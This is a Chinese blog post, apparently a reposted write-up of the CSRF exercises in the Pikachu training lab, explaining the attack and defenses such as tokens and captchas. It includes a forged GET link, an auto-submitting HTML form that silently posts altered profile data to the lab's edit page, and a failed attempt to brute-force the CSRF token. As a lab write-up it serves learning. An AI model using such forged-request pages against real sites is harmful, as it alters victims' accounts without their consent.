首页 >> 网络安全 >>渗透测试 >> Pikachu-CSRF(跨站请求伪造)
详细内容

Pikachu-CSRF(跨站请求伪造)

时间:2020-02-13     作者:杰瑞骑士

一、CSRF(get) login

二、CSRF(post)

三、CSRF Token

 

Pikachu-CSRF(跨站请求伪造)

CSRF(跨站请求伪造)概述 Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。


场景需求:

小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。

先看下大白是如何修改自己的密码的:

登录---修改会员信息,提交请求---修改成功。

所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?

于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:

【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】

于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点:

1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;

---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。

2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;

---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。

---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。

当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。

---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。 因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:

--对敏感信息的操作增加安全的token;

--对敏感信息的操作增加安全的验证码;

--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

一、CSRF(get) login

1.png

万事开头先抓包:

2.png

先登录,账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456

3.png

修改一下个人信息看看包长啥样:

 4.png

5.png


后台没做CSRF token,同时也是通过GET请求来提交修改信息,我们拿到这个,修改一下,然后让allen点击就好,我们构造的URL中把地址add改为hacker。allen一点击就修改了地址。

6.png

这其实只是直接修改了用户提交数据以达到篡改的目的。


二、CSRF(post)

众所周知,post形式的构造是无法在url中体现的。所以只能从请求包中的参数想办法。

这里直接使用别人写的script,思路是自己搭一个页面,诱导用户点进来,劫持用户发送修改信息的请求。

<html>

<head>

<script>

window.onload = function() {

  document.getElementById("postsubmit").click();

}

</script>

</head>

<body>

<form method="post" action="http://192.168.1.104/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">

    <input id="sex" type="text" name="sex" value="boy" />

    <input id="phonenum" type="text" name="phonenum" value="54213" />

    <input id="add" type="text" name="add" value="hacker" />

    <input id="email" type="text" name="email" value="allen@pikachu.com" />

    <input id="postsubmit" type="submit" name="submit" value="submit" />

</form>

</body>

</html>

(本人主机ip192.168.1.104,apache也搭在这个上面。正所谓:“我打我自己”)

把这个页面放在pikachu/doge_csrf上

8.png

点进这个链接康康:

9.png

神奇的事情发生了!!!

三、CSRF Token

反正我没做出来这个……

然后突然想,试试爆破的方式,绕过token???

然后爆破完了,提交上去,然后,我到底在干什么???

这里提交数据加上了token,每次提交是有一个随机的token 用于验证(有点像一次一密?这么耗资源的事情大公司应该都不会这么干)

这里的确是没法伪造的。

所以我上述干的所有事情在我做完之后,就在想自己到底在干什么,就觉得自己刚才是不是懵*了……我只是单纯提交了一次的token 下一次token就换掉了,实质上没有任何的意义。

下面的过程给各位看官看看,纯属为了博各位一笑。

抓个包:

10.png

本着不行也得上的原则,我决定试试绕过token康康。

首先很高兴的是,这个地方是用get方式上传滴,所以直接修改请求包里面的内容就好了。

11.png

12.png

修改好请求包的部分以及爆破token。

13.png

14.png

(就是它!!!)

15.png

16.png


原文链接:https://www.cnblogs.com/p201721420021/p/12061048.html


.
更多

1589982338979126.png


ots网络社区

www.ots-sec.cn

猜你喜欢
更多
联系方式
更多

投稿邮箱:1481840992@qq.com

交流群2群:622534175

ots网络社区3群:1078548359

关注我们
更多
技术支持: 建站ABC | 管理登录